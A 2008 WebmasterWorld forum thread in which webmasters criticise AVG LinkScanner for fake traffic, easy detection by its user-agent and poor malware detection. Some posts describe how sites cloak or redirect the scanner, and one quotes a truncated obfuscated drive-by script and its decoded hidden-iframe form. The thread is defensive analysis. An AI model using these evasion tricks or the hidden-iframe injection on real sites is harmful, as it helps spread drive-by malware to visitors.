Welcome to WebmasterWorld Guest from 54.162.57.225

Forum Moderators: Ocean10000 & incrediBILL & keyplyr

Message Too Old, No Replies

Register Scolds AVG For Generating Fake Traffic As Link Malware

Webmasters Complain AVG Debilitating Traffic Analytics

     
8:52 pm on Jun 13, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


In an otherwise interesting article about AVG LinkScanner the author spectacularly misses the point that because it can easily be identified it is worse than useless as a security tool.

But he does tell malware infested drive-by download sites how to fool it.

[theregister.co.uk...]

...

9:54 am on June 16, 2008 (gmt 0)

Preferred Member

10+ Year Member

joined:Sept 28, 2002
posts:505
votes: 0


Redirect the toolbar agent to the AVG home page might get things moving.

Seb7, thanks, you made my day !

R.

10:43 am on June 16, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:May 24, 2002
posts:894
votes: 0


Redirect the toolbar agent to the AVG home page might get things moving.

I have already one site that's doing it and I intend to implement it on all the others.
It has reduced their requests to one instead of 3 or 4 per IP.

Surely, they are not going to label their own site as "unsafe"

1:44 pm on June 16, 2008 (gmt 0)

Full Member

5+ Year Member

joined:Jan 4, 2007
posts: 221
votes: 0


Not the brightest agent on the web.

Due to a "feature" on my websites, on one of them ~1000 out of the last 6000 http requests has been from a single ip address with the relevant user agent.

They'll have to do more than just change the user agent to get this to fly under the radar.

4:08 pm on June 16, 2008 (gmt 0)

Administrator from US 

WebmasterWorld Administrator incredibill is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:Jan 25, 2005
posts:14648
votes: 94


I've been digesting all the comments about this situation and someone made a very scary point about the Link Scanner.

Imagine the not-so-uncommon scenario where you query Google and some unsavory sites are displayed in the search results, such as adult content, gambling, some of it possibly illegal where you live.

The Link Scanner could quickly access those sites logging your IP as a visitor and create either AUP violations or break laws based on your current location without you even knowing about it.

In this scenario it could easily cost you an ISP, job or worse, put you in trouble with the law. Then trying to explain how you never visited that site when they have proof to the contrary, especially with less than technically savvy types, that should be fun.

This just gets better and better...

4:42 pm on June 16, 2008 (gmt 0)

Preferred Member

10+ Year Member

joined:Sept 28, 2002
posts:505
votes: 0


Yeah, and your company proxy is logging all these Link Scanner scrapings as visits on your own behalf.

For every single one Google search, you additionally get 10 (or 20 /30 /50 /100, depending on your Google SERP settings) unrelated extra visits accounted.

"You are surfing quite a lot over the day, instead of doing your duty work. And why have you been <here> and <there>?"

7:20 pm on June 16, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


I've been digesting all the comments about this situation

I just read the LinkScanner comments on The Register and the level of ignorance is astonishing.

I couldn't help noticing, though, that it is only a couple of days since an AVG representative was perfectly happy to post there, and I saw another AVG employee responding about the LinkScanner problem on a technical forum at the weekend.

Both responses were anodyne corporate-speak of the "we're looking into it and will get back to you" variety which (as Jim pointed out) is all that can be expected in the circumstances, but I remain baffled as to why AVG so pointedly snubbed the one site that understood the problem and could actually help them.

Does WebmasterWorld have a reputation for evil that I don't know about?

...

7:54 pm on June 16, 2008 (gmt 0)

New User

10+ Year Member

joined:Sept 18, 2004
posts:3
votes: 0


Does WebmasterWorld have a reputation for evil that I don't know about?

Nah,don't think so, juts the usual - hear no evil, speak no evil, & no personal vendattas

- sure, then there's the I can't dump brain in one thread and expect to be (read as) right// then thered's the ever changing bit where everyne lives and learns - tis the way of the world or this wouldn't happen would it if everyone knew everything?

8:12 pm on June 16, 2008 (gmt 0)

Administrator from US 

WebmasterWorld Administrator incredibill is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:Jan 25, 2005
posts:14648
votes: 94


remain baffled as to why AVG so pointedly snubbed the one site that understood the problem and could actually help them

Perhaps it was because we were on the forefront of this breaking story with the most accurate information available anywhere.

8:25 pm on June 16, 2008 (gmt 0)

Senior Member

joined:Jan 27, 2003
posts:2534
votes: 0


From a lot of reading about this 'feature' here and elsewhere, I get the feeling that perhaps LinkScanner was never intended to be a security feature at all - IMO it's there to get marketing 'eyeballs' for AVG, which it succeeds in doing by appearing as part of one of their userbase's common most browsing activities. And perhaps to make users feel that if they use another AV without ticks next to results, they are somehow less 'safe'.

If my speculation is anywhere near the truth, then LinkScanner 'works', despite significant problems for webmasters, and apparently significant problems for many AVG users. Perhaps they expected fallout, but not quite as much as they received.

And of course, in the absence of any early (or even late!) response to this thread in particular, a large section of participants will appear somewhat hostile. Of course, the way to diffuse this 'hostility' is to address some of people's concerns. This doesn't look like it's going to happen any time soon if the 'breaking eggs' comment is anything to go by ;)

8:41 pm on June 16, 2008 (gmt 0)

Administrator from US 

WebmasterWorld Administrator incredibill is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:Jan 25, 2005
posts:14648
votes: 94


a large section of participants will appear somewhat hostile

What confuses me is you would think they'd feel more at ease to discuss it here as WebmasterWorld has been quite a bit more civilized about this issue than other places that AVG has posted comments.

Perhaps they are misinformed about the number of eyeballs reading WebmasterWorld?

Oh well, with such a reputation management nightmare unfolding, it's just one more snafu to add to the pile!

[edited by: incrediBILL at 8:42 pm (utc) on June 16, 2008]

9:18 pm on June 16, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


if the 'breaking eggs' comment is anything to go by

My eggs remain intact - neither AVG LinkScanner nor the Exploit Prevention Labs version even manage to scratch the shells, as both products are so absurdly easy to fool.

Roger Thompson's blog seems quiet though: [blogs.avg.com...]

...

10:53 pm on June 16, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member g1smd is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:July 3, 2002
posts:18903
votes: 0


I have been a happy AVG user for many years - until now.

I have directly recommended it to, or installed it on the machines of, in excess of 500 different people in that time.

I gather that there's a mass uninstall going on right now in this part of the world, after I pointed them at this thread.

11:54 pm on June 16, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


we were on the forefront of this breaking story with the most accurate information available anywhere

Credit for that is due to all the WebmasterWorld members who contributed in the various (and sometimes confusing) threads about AVG LinkScanner ever since the issue was first raised on 31 March.

Special honours to everyone who tried to contact AVG to help them in those eleven weeks, and to the many who offered suggestions in the forums on what the company needed to do - if AVG had listened they would not be in such a mess now.

As for hostility, AVG should be aware that representatives from Google, Microsoft (arguably the most hated company in the world) and other corporations are happy to post on WebmasterWorld because they know they will get valuable feedback from the people who matter (their customers) and can safely ignore any ranting.

Even if AVG turn up at this late stage I am sure they will be welcomed.

But I doubt if anyone will have a solution for their biggest problem - they have handed a database of their customers' IP addresses to the opposition, and nothing they do will ever get it back.

...

2:37 am on June 17, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:Aug 19, 2003
posts:701
votes: 0


"Imagine the not-so-uncommon scenario ..."

IncrediBill brings up a VERY VERY valid point, and the more I think about it, the scarier it is.

I've installed AVG Free on probably a hundred machines (for other people), and run paid versions on my stuff.

Bye-bye, AVG...I won't be renewing, and I'll find something safer to install for everyone.

6:29 pm on June 17, 2008 (gmt 0)

New User

5+ Year Member

joined:Sept 26, 2007
posts:30
votes: 0


I sadly had to drop AVG at home due to performance issues (crashes, bluescreens) it was causing with specific software I needed to run on my machine. Looks like I dodged a bullet of sorts.
8:13 am on June 18, 2008 (gmt 0)

Moderator This Forum from US 

WebmasterWorld Administrator keyplyr is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:Sept 26, 2001
posts:6162
votes: 76


I've uninstalled AVG copies on the machines I use and am doing the same for anyone else who requests it since McAfee has partnered with our ISP (Cox broadband) and now offers their software free; came at an opportune time.
2:09 am on June 20, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


The Register writes again about AVG LinkScanner, this time in relation to Google Adwords.

[theregister.co.uk...]

Of LinkScanner designer Roger Thompson the journalist says: "His chief concern is security, and he doesn't want webmasters or malware writers gaming his scanner".

He seems oblivious to the fact that they have been for a month.

...

1:43 am on June 21, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member g1smd is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:July 3, 2002
posts:18903
votes: 0


Is anyone from El Reg reading this thread?
1:54 am on June 21, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member wilderness is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:Nov 11, 2001
posts:5437
votes: 2


Is anyone from El Reg reading this thread?

Believe there's actually three current threads on this
subject ?

Which are seems a bit repetitious ;)

Were you looking for some specific comment or expanded insight?

Don

2:53 am on June 21, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


Is anyone from El Reg reading this thread?

The journalist in question seems pretty well briefed.

He managed to extract this amusing quote from AVG's Chief Research Officer:

"In order to detect the really tricky - and by association, the most important - malicious content, we need to look just like a browser driven by a human being".

Which, of course is exactly the opposite of what AVG has been doing - LinkScanner identifies itself with a user-agent that no human being ever uses (and no scammer would ever dream of spoofing).

I believe The Register prides itself on its sense of humour.

On the serious side, The Reg has published useful information on the analytics and bandwith issues, warned their readers exactly what to watch out for, and actually managed to get through to three different AVG bigwigs for comment - and they also credited WebmasterWorld and gave us a link.

Six weeks ago I asked "how long should it be before they change the user-agent to something less conspicuous?" and though it must be qualified as speculation at the moment the latest article suggests that "A fix could arrive as early as this week".

This story is not finished yet.

...

5:57 am on June 21, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:May 24, 2002
posts:894
votes: 0


Actually I don't want them to change their UA. If they want to abuse my bandwidth I want to know exactly who they are. ;o)
6:28 am on June 21, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member

joined:July 27, 2001
posts:1472
votes: 0


In order to detect the really tricky - and by association, the most important - malicious content, we need to look just like a browser driven by a human being

Cloak the LinkScanner user-agent and I will write and release an AVG toolbar detector script.

2:33 pm on June 21, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 10+ Year Member Top Contributors Of The Month

joined:Dec 27, 2004
posts:1760
votes: 43


-- we need to look just like a browser driven by a human being --

At this point they look like an ignorant bunch of chumps. Eggs no eggs, whatever..

Tha sad part is that scraper scripts are starting to use this UA. I've had to fight off a mini DDOS yesterday originating from OVH and Netdirekt using that User Agent and I know 100% that trafic was not a LinkScanner originated. It is not an issue for this site sinse UA is served nothing but a bunch of random HTML. But then again, I could spot a scraper from a mile away, but it's me... What about the rest of the sites out there?

3:19 pm on June 21, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


The "Bad Guys" must be laughing all the way to the bank over this.

LinkScanner not only invites them to fool it (which is absurdly easy), but if they redirect it then AVG pays for the bandwidth, and the scammers still get a database of AVG users for future reference.

You couldn't make it up. Which is sad, because the anti-virus product itself is pretty good.

If AVG had any sense - which seems debatable - they would drop LinkScanner completely.

...

12:44 am on June 22, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


AVG Technologies (formerly Grisoft) now has a public forum for users which includes a specific section for those using AVG 8 Free Edition and are experiencing problems with LinkScanner:

[freeforum.avg.com...]

I would stress that the forum is intended for AVG users and not for irate or satirical webmasters. It does, however, contain the official AVG response to the article in The Register (posted yesterday) which includes the following:

"we are issuing previously-planned updates to our free and commercial products this week which will address traffic spike and other issues that have arisen since the first releases of AVG 8.0."

It also contains this (also posted yesterday) from a member of the AVG Team:

"if the LinkScanner is to correctly evaluate the user-threat then it must do it "as" a user, not as an identifiable bot"

Which, as we all know, is the opposite of what it has been doing since it launched.

This week's "pre-planned update" should be interesting.

...

6:45 am on June 22, 2008 (gmt 0)

Administrator from US 

WebmasterWorld Administrator incredibill is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:Jan 25, 2005
posts:14648
votes: 94


OK, we've been debating the LinkScanner methods but how effective is it in actually protecting you from bad things on the web?

Testing LinkScanner Accuracy

Out of curiosity I tested LinkScanner against my own homebrew link checker that I use to validate the submitted listings of my directory. My link checker is pretty rudimentary and probably misses some things but it detects enough that I know it's at least protecting visitors from some bad sites, which are then quarantined, that I used for a comparison test.

Sure, the LinkScanner nailed a few of the sites with the invisible IFrame launcher but it failed to flag one of the sites with an IFrame launcher plainly visible in the HTML!

The site very plainly had that old familiar javascript on it:

eval(unescape('%3C%69%66%72%61%6D%65%20%73%72%..."

Which my code decoded to:

<iframe src=http://example.com/badthings.html width=1 height=1 style="display:none"></frame>

Sure enough, the code loaded an iframe that loaded a questionable site, that redirected through two sites ending at a site in Russia which then redirected somewhere else, yet it was passed as "safe" because we know the bad sites never cloak.

So are they only flagging sites if the malware is found during the linkscan or isn't the presence of the invisible IFrame embedded in the javascript redirecting through Russia enough of a clue?

Anywhere along that redirect chain could be the bad code cloaking good things to the link scanner yet they passed a site that my link checker put in quarantine to protect my visitors.

OK, I'm not a big virus scanning company so what do I know about security?

Here's what I know, I know when I see something bad it should be flagged. I took the source link in that IFrame and did a little research on the web and sure enough, if you send that page with the right parameters it redirected me to a page with a malicious exploit on the page.

I'll give the LinkScanner credit in that it detected a problem when given the right parameters that it too detected the exploit in the destination page but shouldn't the invisible IFrame redirecting through Russia have been enough to flag that site in the first place?

Now to put this thing to the test, I gave the LinkScanner a page from some blog that had spam links to the same malware site and it gave that blog page a clean bill of health.

Would AVG have stopped me from clicking that link or saved me if I did?

I don't know and I'm not going find out, this test is over.

Does LinkScanner Detect Hacked Sites?

Then I ran a few of my sites through the LinkScanner that had been hacked, you know the new SEO hacks where a few hundred spam links are injected into the page?

It said most of those hacked sites, some visibly compromised, were clean except a couple that were flagged as "Link to known exploit site".

Summary

Like I said, I'm sure their LinkScanner does a lot more threat detection than my link checker, but it's pretty scary that my little link checking project which has only a few hours of code written dedicated to malware detection was catching and quarantining things their paid product didn't even flag with a warning and gave a green light.

Now I'm wondering what all the fuss is about with the LinkScanner technology as it took less than an hour and I was able to find malicious sites it overlooked and several ways to fake it that have nothing to do with the ";1813" user agent visibility.

[edited by: incrediBILL at 7:12 am (utc) on June 22, 2008]

1:51 pm on June 22, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


several ways to fake it that have nothing to do with the ";1813" user agent

You know that. I know that. The "Bad Guys" know that.

As of 20 June (two days ago) Pat Bitton, head of communications at AVG Technologies, is still posting on other sites to say that webmasters can weed out the "1813" user-agent in order to fix their traffic stats.

This was on the same day that the official AVG response to The Register stated that "previously-planned updates" would address the traffic spike issue this week and on the same day that one of Pat Bitton's colleagues stated on AVG's site that LinkScanner must NOT look like "an identifiable bot" (which it currently does and has done ever since it launched).

The phrase "headless chickens" springs to mind, and this whole story would be hilarious if it wasn't for the fact that millions of innocent users are being put at risk by AVG's continuing incompetence - which, given that we have told them all they need to know, also qualifies as negligence.

Here is another quote (posted Friday) from a member of the AVG Team:

My personal take on this issue is that the LinkScanner has introduced a new dimension to the web

That new dimension appears to be corporate suicide.

...

2:48 pm on June 22, 2008 (gmt 0)

Preferred Member

10+ Year Member

joined:Aug 17, 2005
posts:432
votes: 0


fact that millions of innocent users are being put at risk by AVG's continuing incompetence

as opposed to being put at risk of incompetent webmasters and exploit filled websites, I'll take the AVG risk.

AVG updated yesterday, not sure about the user string. Noticed the link check thing now works in firefox 3 which it did not before.

3:17 pm on June 22, 2008 (gmt 0)

Senior Member

WebmasterWorld Senior Member 5+ Year Member Top Contributors Of The Month

joined:Aug 29, 2006
posts:1312
votes: 0


AVG updated yesterday

The most recent version of AVG Free available for download is dated 5 June.

not sure about the user string

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;1813)

as opposed to being put at risk of incompetent webmasters and exploit filled websites, I'll take the AVG risk

With respect, you - and AVG - are missing the point entirely.

If you Google any of my sites they will feed LinkScanner a dummy file and get AVG approval.

Many others here take the amusing approach of telling LinkScanner to check AVG's site instead, and they also get the green checkmark and star of approval while AVG gets the bandwidth cost.

In both cases LinkScanner - and YOU - are being comprehensively fooled by the good guys.

The "Bad Guys" also know how to perform this simple task and the exploit filled websites you mention are under THEIR control, so LinkScanner - and YOU - will be fooled by them also.

Enjoy your drive-by, but don't say you were not warned.

...

6:34 pm on June 22, 2008 (gmt 0)

Administrator from US 

WebmasterWorld Administrator incredibill is a WebmasterWorld Top Contributor of All Time 10+ Year Member Top Contributors Of The Month

joined:Jan 25, 2005
posts:14648
votes: 94


as opposed to being put at risk of incompetent webmasters and exploit filled websites, I'll take the AVG risk.

I think you missed my post 4 above this, I found multiple instances where it green-lit some of the nastiest sites I've ever seen. When presented with a live invisible IFrame script it followed all the redirects and claimed it was GREEN yet give it a slightly different parameter so it could follow redirects to an explicit malware path, only then claimed it was RED.

It's definitely a risk when it can see the fingerprint of malware yet errs on the side of caution and says the site is OK when there is no valid purpose for that invisible IFrame and that type of code doesn't exist in the tens of thousands of sites I've scanned other than when those sites are compromised.

Yup, enjoy the risk because it's one I wouldn't want to take.

This 219 message thread spans 8 pages: 219